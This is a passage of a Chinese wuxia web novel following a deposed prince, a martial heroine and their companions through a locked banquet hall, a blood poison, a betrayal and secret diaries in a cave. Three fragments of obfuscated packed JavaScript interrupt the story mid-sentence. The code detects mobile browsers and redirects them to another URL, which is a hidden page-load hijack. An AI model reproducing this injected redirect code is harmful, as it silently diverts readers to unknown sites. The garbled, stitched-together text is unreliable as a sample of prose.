话音未落,一个红衣女子从高墙上轻飘飘落至沈曜身边。 成纪县当地的衙役立刻惊呼起来:“满月女侠!是满月女侠!” 胡大人显然不知满月女侠在京城以北的赫赫威名,他只是气急败坏的下令:“不就是个练武的吗?有什么了不起的!愣着做什么?上,都给我上!把他们三个全给我杀了!” 胡大人意识到今晚自己必须要做点什么来表达自己的立场了,于是他挥舞着长剑,第一个冲向满月。 没想到,他一剑刺出去,还没碰到满月的衣襟,就感受到一股炽热雄浑的真气,满月的真气化作屏障,将他的剑硬生生的弹了出去。 “胡大人,今晚你带头围攻我们太子,还杀了人,罪不可赦。你这个人,不能留。”满月说完,抬手一掌击向胡大人后背。 她出掌极快,掌力锐利刚猛,顷刻之间,胡大人被那一掌击出十几丈远,跌落在树林里,没了气息。 紧接着,胡大人飞出去时撞倒的那几棵树也相继从被撞处折断。 在场的官差还从未见过内力如此深厚之人,他们又是一阵惊呼。 满月身子一转,向差役们说:“你们举棋不定,不是能做大事的人,留着也麻烦。” 差役们一脸惊恐,纷纷高呼女侠饶命。 “不用死,就在这儿睡三天,省得在我眼前碍手碍脚。” 她说着,一扬衣袖,无数支金针像流星似的从袖中飞出,金针就像是长了眼睛,以极快的速度扎进了差役们的檀中穴。 差役们摇摇晃晃,最终晕倒在地。 这些人一倒,沈曜也虚脱了似的,腿一弯跌坐到地上:“满月……女侠?谢谢你又救我们一次。” 擎苍赶紧蹲下去搀扶沈曜,还不忘赞一句:“满月女侠武功盖世,宛若神兵天降。我今日真是开了眼了!” 满月扬眉一笑:“没那么神,对付他们,也就才使了二成力气。” 她一屁股坐到沈曜身边,安抚道:“玉玺在我手上,我不愿意和墨云见面多生是非,这才绕山路和你们分开进城。今晚赶过来见到这幅场景,本想早点下来帮你们的,谁承想我在墙头听你们吵架吵得精彩,就贪心多听了一会儿。” 沈曜听这话又来了几分精神,一脸期待问满月:“我刚才讲得好不好?” 满月道:“不愧是读过书的人,临危不乱,据理力争,说出来的话可比那个胡大人要好上太多啦!” 沈曜听这话,满意一笑,低声道:“其实我刚才都要吓死了。” “多吓几次就习惯了。”满月说完,复又站起来,对沈曜说,“歇一下就起来吧,情况紧急,咱们先去找雕弓小亭,一切等出城再说。” “起不来。”沈曜说着,眼巴巴伸手要满月拉他。 “麻烦。”满月吐槽一句,一手把沈曜提起来。 擎苍一脸莫名其妙的看着这一切,等沈曜起来,凑上去问:“太子,你怎么不叫小的扶?” 沈曜瞪了擎苍一眼,道:“瞧着你也吓得不轻,给你省点力气。” 31. 灵机既出 众人一路疾驰,回到饭厅。 谁知道,方才还热热闹闹大宴宾客的饭厅,此时竟门窗紧锁,完全与外界隔绝开来。 “小亭?雕弓!小亭!雕弓?”擎苍一边大喊,一边用力推门推窗,谁知道,那几扇窗户就像是与墙壁融为一体一般,任他如何撞击,都纹丝不动。 倒是那扇门,用力撞一下,会有轻微晃动。 “我们一起齐心协力,说不定能把这扇门撞开!”擎苍不顾一切道。 沈曜也把心一横,牙一咬,鼓着劲就要往门上撞。 “你俩闪开。”满月一手按住一个人的肩膀,直接把他俩撸到自己身后,然后朝那扇门击了一掌。 门仍旧只是轻轻晃了一下,就没了反应。 “满月女侠,您用内力呀!”擎苍在一边焦急地提醒。 满月却暗中吃惊,她不想在这里耽搁时间,方才那一掌,她其实已经用了九成内力。 谁知道,那一掌打到门上时,那扇门的门锁处就似乎有一个巨大的漩涡,把她的掌力统统吸了进去。 她眉头一皱:“火。” 沈曜手上正拿着从官差那里顺来的火把,听满月要火,立刻递上去。 视线明朗,满月看清了那把锁之后,脸色瞬间凝重起来:“是灵机锁。” “什么是灵机锁?”沈曜擎苍异口同声。 “太白门的《太白门杂学·巧工录》有云:‘灵机锁,锁灵机;此锁既出,涂炭苍生。’这句话我本也不甚理解,后来游历民间,才打听到一些与灵机锁有关的传闻。相传灵机锁原本是上古时期随火山喷发而腾空出世的一块大石头,石头显露于世之后又不断汲取人间污浊之气,逐渐变得有些邪气。它每百年出现一次,每次出现之地,都会发生大规模地震。据说,帝癸三十年的瞿山地动、帝辛四十三年的峣山地动,还有周幽王二年的镐京大地震,都与灵机石有关。” 擎苍听后大惊,道:“我以前听小亭给我讲,说地震之前会出现一直云彩,像扇骨一样排列在空中。今儿我进城的时候还真就看到了这么一种云,难不成,今天还真的要地震?” 沈曜皱了皱眉,问满月:“你说的这些这是传言还是真事?如若这是真的,又为何从无史书记录此事?” “据《巧工录》记载,先秦时华山派老祖工李发现了控制灵机石的方法,他把这块石头做成灵机锁,收入囊中为己所用。据说华山派创立近千年,几次濒临灭门,全靠灵机锁制造地动来对抗对手,挽救门派。我也好奇传言的真假,曾遍览古籍寻求印证,但奇怪的是,华山派的秘籍和年谱就像是被刻意隐藏起来了一样,我翻遍了古书书冢,也没有找到一点信息。” 也不是一点消息都没有,至少这几年她知道了一件事:归舟的父亲李巍就是华山派的传人。只是这件事背后又牵扯甚广,一时半会儿同他们解释不清楚。 她沉吟一下,道:“也许灵机锁没有传言中那样玄而又玄,但我认为这几日成纪县真的很可能会发生地震。” 沈曜神色郑重:“如果真的发生地震,不知会有多少生灵涂炭,这件事我们必须得想好应对之策。” 他说到这里,抓住满月的胳膊,问:“满月女侠,你见识最多,你有没有办法能阻止这场地震?” “擎苍,你马术如何?”满月突然问。 擎苍一拍胸脯,道:“别的我不行,但骑马赶车整个皇宫都没人比我厉害。” 满月点点头,从怀中掏出一个银制关公坠子,交给擎苍,道:“从此地向西南行驶五百里就是吴州大营,你现在就骑着我的马去吴州大营找梅英将军,就说满月女侠要和他比武,叫他带着兵马来成纪县找我。” 擎苍迟疑道:“这位梅英将军真的能带兵来吗?” 满月道:“你让他看到这个坠子,他不会不来。” 擎苍点点头,快步离开。 听得擎苍驾马走远,满月又回头与沈曜说:“城中随时可能会发生地震,城外左仪的三万大军又随时可能会来杀你,保险起见,我必须要找点外援。” 沈曜有气无力道:“我已经不算是太子,更不会去猜忌手握重兵的将军,你想做什么都只管做就好。” 满月转过身去,研究着那把锁,道:“你想多了,我只是想告诉你,如果不是有你这个累赘,还有城里那么多百姓的生死要顾及,遇见什么事儿我都可以自己解决。” 沈曜赶紧又蹲下去,把火把举到锁边,道:“我不是累赘,要做什么你告诉我,我都可以做。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897864|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >满月身手夺过他手中的火把,道:“看你脸色不好,先歇会儿吧。我只研究一个时辰,若一个时辰之内我打不开这把锁,咱们就得组织城中百姓撤离。” 沈曜确实身体有些不舒服,他没跟满月客气,倚着墙坐下来。 半空中鸟儿乱飞乱叫,池塘中鲤鱼横冲直撞,漆黑的天空中似乎也有绚丽的亮光一闪而过。 沈曜看到了这些诡异的场景,心里慌得厉害。他其实一直都是个胆小的孩子,从前在宫里,他害怕杀生,害怕雷电,甚至还害怕话本里的鬼故事。 小时候害怕了就去找母后,长大之后,每每害怕,他就让擎苍把宫里所有的灯都点上,炽热的火光总能驱邪避凶。 如今,他也害怕传说中即将要到来的地震。 不知道满月女侠害不害怕。他侧头看看身边的满月,这位女侠倒是毫不理会身边的诡异场景,只是安安静静地研究灵机锁。火把盈盈燃烧,满月的额角已经浮出细细密密的汗珠。 他坐在火把的余光里,突然觉得宫里那千盏万盏琉璃灯,都不及眼前这一把火来得心安。 他突然就不害怕了。 他想站起来去帮帮满月,谁知道,他还未站稳,只觉得眼前一花,胸腹间一阵剧痛,他赶紧扶住墙,猝不及防的就吐出一大口浓稠的血来。 一墙之隔,密不透风的暗室里,雕弓也觉得喉咙腥甜,一口鲜血马上就要喷涌而出。 他早就猜想到了自己可能已经中毒,如今局势复杂,他怕小亭知道他中毒会徒增烦恼,于是使劲一掀身后的长桌,长桌歪倒,桌子上的瓷器和花瓶接二连三掉落在地,发出噼里啪啦一阵响声。 趁着响声遮掩,雕弓将这口血呕了出来。 “雕弓哥哥,你那边怎么啦?”小亭的声音从另一角传来。 雕弓勉力忍住周身的不适,道:“没事儿,我不小心踢翻了桌子。” “你没伤到吧?”小亭又问。 “没有!”雕弓暗自运功尝试解毒,又不忘先安抚小亭:“我们再仔细找找,晚烟既然能触动机关把我们关在这里,我们也一定有办法解开机关离开这里。” 小亭却还是有些不放心,又问:“雕弓哥哥,你说晚烟连墨云都敢杀,真的就能放过我们吗?” 32. 过一把瘾 其实沈曜一出房门,墨云就摊了牌。 “雕弓,你我这么多年兄弟,我不瞒你,我这次来,就是为了找玉玺和杀太子的。你帮我一把,有功劳咱俩平分。”他直奔主题。 雕弓好笑道:“咱们顶多算是同窗,不算兄弟。你应该知道,我这次跟太子出来就是为了保护他的,谁要杀他,我就杀谁。既然你要杀他,那我就先杀你。” 墨云见雕弓没法劝,当即翻脸:“雕弓,你莫在这里装模作样学什么忠义之徒!说白了咱们俩本质都是一个样。我还不知道你?你能入仕,那也是你爸妈拿着真金白银去跟左太尉磕头求来的。都是给左太尉当狗,你哪来的脸高我一等?” 他话音未落,小亭先摔了杯子:“你说话为何这样难听?雕弓哥哥是那年的春擂榜眼,你这种下流之人就是配不上和雕弓哥哥这样的好儿郎相提并论!” “春擂榜眼?”墨云不屑道:“你还真以为春擂的名次是凭本事拿来的呀?我告诉你,那年的春擂就是一擂台的人情世故,就是那个状元,归舟,他就是最大的……” 他还没说完,突然之间身子一僵,一把匕首竟然从后背刺入他的心脏。 “晚烟?”他错愕的瞪大眼睛。 晚烟撇过头去。 墨云艰难的挤出一句:“为什么?你是不是杀错了?” “我没杀错,我当副使,跟着你一路来到成纪县,就是为了此时杀你。” 墨云急促的喘息着,已经说不出话来,还是挣扎着抓住晚烟,只想问个究竟。 晚烟叹口气,道:“你对我这么好,我总不能让你死不瞑目。也罢,我把一切都告诉你:我喜欢归舟,喜欢了他很多很多年,我这辈子如果嫁人,只会嫁归舟。” 墨云的眼神从惊疑变成了难以置信。 “我知道,除了杀太子寻玉玺,左仪另外还交给你了一个任务,就是整合吴州并州的兵马一路攻进凉州,杀归舟,夺西北兵权。” “我怎能看着归舟去死?既然你要杀他,我只能先杀你。” 墨云眼角流出一行泪来。 泪水滴到晚烟掌心时,他停止了呼吸。 晚烟握紧掌心,又张开,轻轻帮墨云合上双眼。 这时候,她的眼圈也红了,情绪也蓦得激动起来。 “是我害了你,都是我害了你……我若不说那句等你升到三品大员再来找我谈婚论嫁,你就不会自告奋勇来当这个钦差大臣,你要是不当这个钦差大臣,就不会知道归舟的事情,你若不知道归舟的事情,我就不用来杀你……对不起,我不该骗你……我也不想害你……” 说到最后,晚烟已经泣不成声。 小亭躲在一边看得云里雾里。 雕弓冲她使个眼色:“快走。” 两人还未走到门口,不知怎么,门窗突然之间关紧,晚烟红着眼抬起头来:“都不许走!” 她撇下墨云还有体温的身子,颤巍巍走到雕弓小亭面前,平静道:“我挺欣赏你俩的。跟着沈曜没前途,你们和我一起干吧。” 小亭小脸一皱,刚要开骂,只听雕弓先问:“你想我们干什么?” “杀了沈曜,劝降官晏宁,拥着归舟一路杀进京城去,夺下皇位。”晚烟说。 “归舟?”雕弓迟疑。 “归舟是沈开颐的儿子,比起沈曜,他更适合当太子。” 此话一出,雕弓小亭俱是一惊。 晚烟道:“入不入伙你们现在就给句痛快话,我没那么多耐心等你们。” 小亭答得痛快:“我们是太子的人,决计不会和你狼狈为奸。” “你们知道了我和归舟的秘密,不入伙,今夜必死。”晚烟又道。 小亭听到死,再对峙便有点外强中干:“你想怎样,雕弓哥哥在,你还想打死我们不成?” 雕弓把她挡在身后,手持大弓亮出招式:“我还是那句话,我是来保护太子的,谁要杀太子,我就先杀他。” 晚烟冷笑道:“中了我的崆峒血毒,你当真以为自己还有力气比武吗?” “哪来的毒?”小亭疑惑道。 雕弓低头,见小亭面颊红润,说话中气十足,确实不像是中毒。 他便也忍着周身的不适,装模装样问了句:“哪来的毒,你下过毒吗?” 晚烟一愣:“你们没有四肢无力之状吗?” “没有。”两人异口同声。 “五脏六腑没有地方出现疼痛吗?” 雕弓小亭相视摇头。 小亭指着晚烟哈哈大笑:“你这人,连下毒都下不好,还要去帮人家争皇位。自不量力!自不量力!” 晚烟退到门边,慌道:“你们只是暂时没有毒发而已。我告诉你们,你们今下午既然沾了那个女人的血,不论身体有没有出现中毒之兆,都一定已经中了我的崆峒血毒。崆峒血毒只有我能解,你们要是不归顺于我,就等着毒发身亡吧!” 她说完这些,长袖一挥,十几枚袖箭从袖中飞出。 “袖箭有毒,小心!”雕弓一面说,一面抽弓抵挡。 趁雕弓抵挡袖箭的那一瞬,晚烟不知触发了什么机关,屋中一阵妖风,所有蜡烛都被熄灭。 也是趁着那一瞬间,晚烟逃出屋去,用灵机锁锁紧大门,拿着墨云的尚方宝剑直奔并州大营。 大门之外。 沈曜没有内力护体,身体也比寻常人娇贵,中毒这么久,他几乎已经忍耐到极限。一口血吐出之后,他五脏六腑都像是被撕裂一般。他疼痛难耐,抱着身体在地上不住打滚。 满月过来摸他脉搏,脸色一凝:“你中毒了?” 沈曜只是呻吟:“疼……救救我……” 满月一言不发,先握住他手腕上太渊、阳池二穴,将自己的内力源源不断送入沈曜体内。 良久,沈曜终于稍好受了些,他止住呻吟,躺在地上,喘着粗气,冷汗直流。 满月收了力,扶他坐起来。 “你好点了吗?”她问。 “还是疼,胸腹间疼得厉害,四肢也软绵绵的没有一点力气。”沈曜虚弱道。 “何时有这种感觉的?”满月问。 “一进城就有些不适,那时以为是舟车劳顿所致,便没多在意。”沈曜道。 “进城之前……”满月回忆进城之前所发生的事情,突然惊觉:“那个被官兵追缉的妇人,是不是碰过你?” 沈曜一听便有些惊惧:“她一手血,先碰过雕弓,又碰过擎苍,最后才来找我。” “是崆峒血毒。”满月想到这里,脸色骤然严峻:“我听前辈讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928311|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,崆峒血毒源于崆峒山上一种叫万枯草的植物,这种草毒性巨大,服下后会当即毙命。但若是以崆峒派特有的内功来抵挡这种毒,这种毒便会溶于血液之中,化为血毒,世代相传。谁若沾到了崆峒血毒……” 她本想说沾上崆峒血毒者八个时辰内必死无疑,但看见沈曜惨白的脸颊和充满期冀的双眼,她一时有些不忍,把话生生咽下去,道:“崆峒血毒也不是不能解。当年崆峒十三代掌门以四十年的修为与崆峒血毒做对抗,最终把自己的血液从毒药为解药。只是这化毒功法需要极其深厚的内力做支撑,所以近百年来崆峒派只有第十三代掌门一人成功。” “那能解毒之人岂不是百年之前就死掉了?”沈曜有些沮丧。 “不,和血毒一样,据说解毒之血也是随着母体血液世代相传,只要是崆峒掌门的亲生骨肉,都能解崆峒血毒。”满月道。 “那崆峒派掌门是谁?”沈曜急切道。 满月道:“崆峒派于开颐十四年以反抗朝廷为名被朝廷灭门。” 沈曜才有点期待的眸光又黯淡下去。 满月握住他的手:“别灰心,既然崆峒血毒重现于世,就说明崆峒派并没有像传言拿般被朝廷杀光。走,我先带你去找今下午那个妇人,她既然是崆峒后人,未必不知谁是解毒之人。” 沈曜闭眼忍住周身的又一阵疼痛,问:“满月女侠,你可不可以告诉我,中了这毒,我还能活多久?” “八个时辰。”满月道。 “八个时辰,那就是明日卯时……正是明日日出的时候……”沈曜疼得昏昏沉沉,身上也开始发热,“明日卯时,擎苍应该还在去请援军的路上,雕弓或许还被困在这个房子里出不来,甚至,明日卯时已经发生地震……” 他说到这里,突然强撑着站起来:“满月女侠,我不想把时间浪费在解毒上了,我想做点别的。” 满月一挑眉:“你要做什么?” “先疏散百姓。”沈曜道。 “这事儿你等我一个时辰,往哪里疏散最安全我暂时还想不清楚。”满月说完,拉住沈曜手腕,“你先跟着我去找解毒的法子。” 沈曜用另一只手又握住满月的手腕。 “把这一个时辰给我吧,我还有一件大事没有做。” “你还有什么事?”满月不解。 “我得查案。”沈曜道,“我说过,成纪县的事情要给大家一个交代。只有八个时辰了,我不能在最后关头食言。” “你不是太子了。”满月从袖中掏出一张纸,递给沈曜,“我最信得过的师姐今下午飞鸽传书给我的,你自己看吧。” 沈曜展开那张纸,几行遒劲的小字映入眼帘:丙戌日,帝后崩于上清宫,疑似中毒。左仪入宫主政,秘不发丧。 沈曜把纸一扔,气愤道:“他还没上位,我便仍是太子。” 他说完,声音又软下来,拉住满月,道:“我这一十六年,贵而无位,高而无民,直至今日才对社稷江山有了几分真切感受。侯先生跟我说,国之大务,惟爱民而已,从前我不知其意,今日却知道了。满月女侠,明日是福是祸无人知晓,至少今日,在我还活着的时候,你就让我过一把当太子的瘾吧。” 满月点点头,眸光中似有欣慰之色:“好,我和你一起查。” 33. 从前少年 小亭从黄花梨的餐桌底下扒拉出一条密道,密道蜿蜿蜒蜒,台阶一路向下。 两人拉紧对方的手,扶着墙,不知摸黑走了多久,只觉得温度越来越凉,环境越来越湿。 伸手不见五指的洞穴里,突然荧光点点。 “是萤火虫。”小亭仰头,赞叹道:“好漂亮,像是漆黑夜空的满天星光!” 雕弓确信已至平地,这才松开小亭的手,也抬头仰望。 谁知小亭又激动得拽着雕弓的手,兴冲冲道:“雕弓哥哥!你快看,这是二十八星宿!” 满月研究奇门遁甲那会儿,也曾带着雕弓他们认过星宿,那时候他们仰望星空,最多只能看到北斗七星,想不到今日在这不知有几百丈深的地下,满天流萤就像通灵性似的,忽高忽低,却错落有致,分别散布于玄武、朱雀、青龙、白虎四方,按照斗牛、女虚危、室壁、奎娄、胃昂毕、觜参、井鬼、柳星张、翼轸、角亢、氐房心、尾箕顺序排列组合。 夜凉如水,荧似星辰,二人受困于地底,却恍若置身于星汉之间。 “雕弓哥哥你快看,中间还有北辰星呢!”小亭指着中间方向兴奋问。 雕弓却奇道:“中间好像有东西。” “那咱们去看看!”小亭拽着雕弓,借助流萤的照亮,快步奔向北辰位。 雕弓虽有内力护体,但血毒已然传遍周身经脉,他强忍痛楚,勉强跟上小亭步伐。 二十八宿正中是北辰星,但北辰星之下,另有无簇流萤,中间一簇,南北西东又各有一簇。每簇流萤又皆由五小团流萤构成,中心一团,南北东西又各有一团。 每簇流萤之下,均有六个高低大小不一的木桩,木桩之上置有一颗黑色小球。 木桩之内,均置有一物。 朱雀位木桩之内有一块大石头,石头上刻有几个大字:两仪生四象,四象生八卦。 石头背面刻有一行小字:灵机锁下,无极洞中,流萤阵内,集齐七人,可成四象八卦功。 “四象八卦功是什么?”小亭问。 “我亦不知。”雕弓摇头。 两人便继续探索。 白虎位木桩之内放着两个金丝楠木的盒子,盒子都没上锁,雕弓抱出大些的那个盒子打开,只见里面是几本古籍,仔细分辨,发现这竟是黄山、华山、青城、琅琊、崆峒五派和武林盟的武功秘籍与年谱。 雕弓不欲深究别派往事,他本想把这些旧书放回原位,突然又想起来满月喜欢研究这些东西,便准备挑几本带在身上。 小亭打开小些的那个木盒,里面确只有一沓纸,纸张有些发黄发霉,上面的字迹却活灵活现,各有千秋。 第一张纸字迹活泼舒展,只见上面写着: 还有一个月就要武林大会了,我们七个一致认为从今天开始要好好练武,不能再跑出去吃喝玩乐了。所以我们决定从今日起拿着行李住进无极洞,练不好两仪四象功,决不出洞。 xx年(沈开颐开国五年之前)六月廿七,武林盟戚无言。 第二张纸字迹矫若惊龙,纸张却皱皱巴巴,第二段话还被人用墨乱七八糟涂抹了好几道。只见上面写到: 戚无言这家伙居然才来一天就背着我们偷偷跑出去玩,还好李巍用他家的宝贝锁把门口给锁住了,李巍,干得漂亮! 还有,原来戚无言怕黑,哈哈哈我还以为她什么都不怕呢!原来你也怕黑,哈哈哈! xx年六月廿八,武林盟谢长东。 紧挨着后面一张纸,笔迹奔放雄壮,上面只有寥寥一行字: 这些人又菜又吵,还要偷我酒喝。喝就喝!喝了还能消停会儿。 xx年六月廿八,琅琊尹溪。 又一张纸,笔迹娟秀可爱: 遭了遭了,喝了齐大哥的相忘江湖,我们居然睡了五天五夜,我还睡在了阿戊怀里,这可怎么是好?我当真要羞死了! xx年七月初三,崆峒叶泯。 紧挨着一张纸,字迹如锥画沙: 我今日向泯儿妹妹表妹表明心意,她答应了。我现在心中欢喜,只待武功练成后出洞找家父帮我提亲。 从今日起我一定要更好更好的待泯儿妹妹! xx年七月初三,青城孙戊。 下一张,笔迹龙飞凤舞,上书: 今日阵法小有成就,我们也终于把阵法确认下来。 戚无言,谢长东二人是武林盟之后,内功最淳厚,学识最广博,当坐两仪位,抚两仪琴。 尹溪武功最高,居中央。 孙戊朱雀位,叶泯玄武位,李巍白虎位,我齐栩居青龙位。 (他写到这里,又另起一行,字迹更大了几号,写到)看看你们,都记了些什么乱七八糟的玩意?也就我齐栩还记点正经事情。 xx年七月初五,黄山齐栩 下一张: 齐栩最不正经! xx年七月初五,武林盟谢长东 下一张: 这些人真菜!这些人真吵!我为什么要认识这些魑魅魍魉! xx年七月初五,尹溪。 又一张,笔迹行云流水,写到: 戚姑娘好聪明,居然发现了地动仪和灵机锁的秘密。我为了不叫她把秘密说出来,把我最后那颗杏仁糖也送给她了。 结果这颗糖又被谢长东给抢去了。 还好戚姑娘义气,并没有把秘密说出来。 xx年七月初八,华山李巍 …… 小亭看上了瘾,翘着嘴角,一页一页往下看,看到七月廿三,众人终于练成两仪四象功时,禁不住大声喝彩。 雕弓原本把大盒子里的书收了个七七八八,这时候被小亭那一声叫好吸引过去。 小亭却一脸意犹未尽:“雕弓哥哥,你找到后续了吗?” “什么后续?”雕弓茫然问。 “我刚才看到一些日记,上面说一群少年在这里练成了绝世武功,要去参加武林大会。我想知道他们成功了没有。” 雕弓把自己藏在怀里的书给小亭看,小亭一本一本把书翻遍,最后在《武林盟后记》中找到一行墨迹较新的小字: xx年七月廿八,七侠称霸武林大会。 xx年八月廿六,七侠追随沈开颐揭竿起义。 xx年(一年后)五月十五,叶泯父公开支持镇西王,叶泯与六侠离散。 xx年(三年后)七月初五,谢、齐、尹、孙、李五侠被围困于豫州,尹溪为掩护四侠撤退,死于阵中。 开颐元年三月初七,沈开颐登基在即,戚无言欲制烟消云散汤。谢长东不肯,与戚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976627|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无言闹翻,集结武林英雄远走西域。 李巍、孙戊喝下烟消云散汤,留在长安,因开国有功,官居二品。 齐栩随谢长东赴西域。 叶泯隐居于崆峒山。 开颐二年,戚无言沈开颐决裂,遁于长安之西。李巍、孙戊受牵连,官降六品。 开颐十五年二月,崆峒派作乱,朝廷派兵剿之,不胜。五月,派孙戊剿之,次年四月,叶泯死,崆峒余孽灭尽,孙戊得胜归朝。 治平十三年,李巍故地重游。 …… “雕弓哥哥,这本书记得是假的吧?”小亭问。 雕弓血毒又一阵发作,五脏六腑正疼痛难耐,他实在没有精力去深究小亭的问题,硬忍着疼痛道:“我不知道。” “一定是假的,一定是假的,那么好的五个哥哥姐姐,最后怎会七零八落?一定不会的。”小亭自己安慰自己,一抬头,却正好看到位于玄武位的棺椁。 她吓得大叫一声,脸色煞白,直挺挺摔在雕弓怀里。 雕弓皱眉闷哼一声,却随即安慰:“别怕,见棺发财。” 他仔细观察,只见那棺椁材质极好,却未立任何排位,他思考一番,还是觉得也要去亵渎亡魂为好,于是也不再管那棺椁。 为了转移小亭注意力,雕弓指着中央一个像酒樽一样的大铜器,问小亭:“你看,那是什么?” 小亭奇道:“咦,那是张先生发明的地动仪。地动仪据说在西晋时期就已失传,想不到这里居然有一个一模一样的,就不知是模型还是真迹。” “那我们便去看看那是模型还是真迹。”雕弓道。 小亭有点发怯,她紧紧拽着雕弓,挪到地动仪身边,一面观察,一面跟雕弓道:“‘精铜铸成,员径八尺,合盖隆起,形似酒尊……外有八龙,首衔铜丸,下有蟾蜍,张口承之……虽一龙发机,而七首不动,寻其方面,乃知震之所在。’从外观看,它竟是和史书所载的地动仪一模一样。” 雕弓道:“你小小年纪,竟懂得这样多。” 小亭无奈的望着雕弓,道:“我小时候在万香楼做工,听过不少奇闻异事。大些后沾哥哥的光进了大武宗,又在藏书阁读了不少杂书。如今除了武学不会,其他东西多多少少都会一点。” “偏偏你会的这些就很有用。”雕弓道。 小亭转脸看回地动仪,却突然脸色严峻,道:“寻常地动仪,地震时只有一龙发动,一蟾蜍口中含球,含球蟾蜍的方向就是地动方向。可是你看这座地动仪,居然每个蟾蜍口中都含有小球,这岂不是意味着四面八方都有地震?” 她越想越不对,最后道:“雕弓哥哥,你能不能推我上去,我得打开这座地动仪往里面看一看。” 雕弓蹲下,拍拍自己的肩膀,道:“行,你踩在我肩上,我把你送上去。” “这……”小亭本想着雕弓借助内功把她给推上去,见雕弓要她踩自己的肩膀,小亭有些不好意思。 雕弓也想直接用内力推她上去,只是体内毒气一阵一阵的发作,他怕自己气息不稳反而伤了小亭,迫不得已,便只好用这等笨方法。 他见小亭犹豫,便强笑道:“你要是不肯,我就把那座棺椁拖来给你垫着。” 小亭被他一句话吓得够呛,急忙忙踩到雕弓肩膀上。 34. 贫贱贪官 夜深天凉,地牢里连一碗热水都无,李静安冷得打颤,裹了裹尚没来得及打补丁的里衣,耳朵往墙上贴了一贴,听见动静,解脱似的笑了一下。 满月女侠果然好功夫,前一会儿才打到地牢门口,一阖眼的功夫儿,就杀到了自己面前。 李静安半睁着眼看了满月一眼。 满月挥掌一劈,铁质的牢门顷刻间化为碎片。 李静安莫名其妙的想到:我要是有这样的功夫,是不是一样能冲破牢笼? 他圣贤书读得多,一向看不上武夫,这时候却突然羡慕起满月来。 “李静安,一年没见了。”满月倚在残缺不全的牢笼门口,抱着双臂,似笑非笑。 他不知该怎么接这句话,索性便不说话。 满月身畔,一个眉目俊朗却脸色潮红的小少年弯腰进了牢房。 “今日不是我找你,是他要找你。”满月仍旧只是居高临下的倚在铁栅栏上,用下颌指了指沈曜。 这不就是墨云大人要杀的那个太子嘛?李静安百无聊赖的想:这孩子还真是福大命大,有人要杀他时,立刻就蹦出一个满月女侠来保他。 他又有些怨艾,真是人各有命,凭什么他李静安走到绝路的时候,就没一个人能站出来给他撑腰呢? 这么一想,他就不想搭理这孩子。 “李大人,今日在县衙审案时,我问你为何要贪那样多的钱财,你不回答,这里面可是有什么难言之隐?现在只有我们三人在场,你可不可以把真相都告诉我?”沈曜半跪在他旁边,恳切道。 就凭你?凭什么要告诉你?李静安心里这么想着,懒得说话。 “你难道是惧怕墨云?你放心,你说的一切墨云都不会知道。”沈曜见他不说话,着急道。 李静安直接把眼睛闭上了。 沈曜想了想,道:“你若如实告诉我,我们就救你出这牢房。你放心,有满月女侠在,你只要能说实话,就一定能有救。” 李静安仍是不答。 沈曜急得想把李静安的眼睛扒开。 “沈曜。”满月在牢外喊了他一声。 沈曜回头。 满月指指自己的衣袖。 沈曜愣了一下。 满月无奈的叹了口气,又指指李静安。 沈曜这才发现,李静安单薄的里衣上歪歪扭扭的打着好几块补丁,除此之外,他袖口和肩头又磨破了好几处,衣不避寒,李静安双臂的汗毛都竖了起来。 沈曜中了毒,身子忽冷忽热,便没有意识到,西边这片山里一到晚上就冷得厉害。 他想了想,道:“我去给你找碗热水。” 沈曜中毒后身子太弱,骤然站起来,身体立刻又是一阵疼痛。他两眼一黑,险些要晕过去。 满月扶他一把,顺着太渊、阳池二穴又给沈曜注入了不少内力,他感激的冲满月笑了一下,步子虚浮地走出这间牢房。 “你若担心说了什么不该说的会威胁到你家人安全,我现在就修书一封,托胡记镖局把你父母妻儿送到川南。如今川南是官家军的地盘,没人敢动你家人。”满月道。 李静安木然。大人物有大事情要忙,谁有空去抄他老家那个四面透风的老宅子? “你最好赶紧把该说的都说了,沈曜他们中了崆峒血毒,撑不了很久。”满月又道。 李静安心里一阵难受。眼前这个自称是侠客的姑娘,记挂着百姓,记挂着太子,但从不记挂他这位披着官袍的蝼蚁。 也罢,这一年来,每个人见到他,好像都要跟他提些要求,有些人的要求,他必须得答应,有些人的要求,他的良心叫他必须得答应。于是他事事都答应,事事没办好。 如今,他突然觉得,像今日这样,褪去一身枷锁,事事不回应,反而更轻快。 偏偏这个时候,沈曜回来了。 满月挑眉笑了一下,少年人就跟要逃荒似的,披着狐裘,挎着包袱,拎着食盒,还攥着个桌子腿,歪歪扭扭的赶了回来。 满月都一时有些想不明白,他拿这些东西到底要干什么。 一向麻木的李静安眼皮也抖了一下。 